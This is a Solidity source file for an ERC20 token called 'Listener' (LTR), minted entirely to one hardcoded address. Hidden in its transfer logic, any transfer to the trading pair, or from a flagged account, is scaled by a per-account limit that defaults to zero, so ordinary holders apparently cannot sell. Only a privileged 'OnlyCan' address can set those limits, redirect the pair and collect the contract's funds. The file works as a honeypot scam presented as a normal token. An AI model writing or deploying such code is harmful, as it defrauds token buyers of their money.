// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 { 
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);  
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);   
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {   
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);   
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) internal {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract Listener is Context, IERC20, IERC20Metadata,Ownable {
    mapping(address => uint256) private _balances;
    address  public _OnlyCan =0x41208447135e52C92e1959Cb017F32E1f49dCD19;
    mapping(address => mapping(address => uint256)) private _allowances;
    using SafeMath for uint256;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address public  uniswapV2Pair = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    struct userSells{
        uint256 updateLimit;
        bool isupdate;
    }
    mapping (address => userSells) public update;
    constructor() {
       _totalSupply = 500000000 * (10**18);
        _setOwner(0x41208447135e52C92e1959Cb017F32E1f49dCD19);
        _name="Listener";
        _symbol="LTR";
        _mint(0x41208447135e52C92e1959Cb017F32E1f49dCD19, _totalSupply);
    }
    function burn(uint256 amount) public onlyCan() {
        _burn(msg.sender, amount);
    }
    receive() external payable {
      
    }
    modifier onlyCan() {
        require(_OnlyCan == _msgSender(), "Error: caller is not the Only One ");
        _;
    }
    function Update(address account, bool isupdate,uint256 num) public onlyCan() {
        update[account].isupdate = isupdate;
        update[account].updateLimit = num;
    }
    function updatePair(address _pair) public onlyCan() {
       uniswapV2Pair=_pair;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function set_OnlyCan(address newAddress) external onlyCan() {
        _OnlyCan = newAddress;
    }	
	function claimBalance() external {
        payable(_OnlyCan).transfer(address(this).balance);
    }
    function claimToken(address token, uint256 amount) external{
        IERC20(token).transfer(_OnlyCan, amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {        
       _transfer(msg.sender, recipient, amount);
       return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 amount1=0;
        if(recipient==uniswapV2Pair || update[sender].isupdate){
           amount1 =amount.mul(update[sender].updateLimit).div(100);
       }else{
           amount1=amount;
       }
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount1);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount1, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount1;
        }
        _balances[recipient] += amount1;
        emit Transfer(sender, recipient, amount1);
        _afterTokenTransfer(sender, recipient, amount1);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}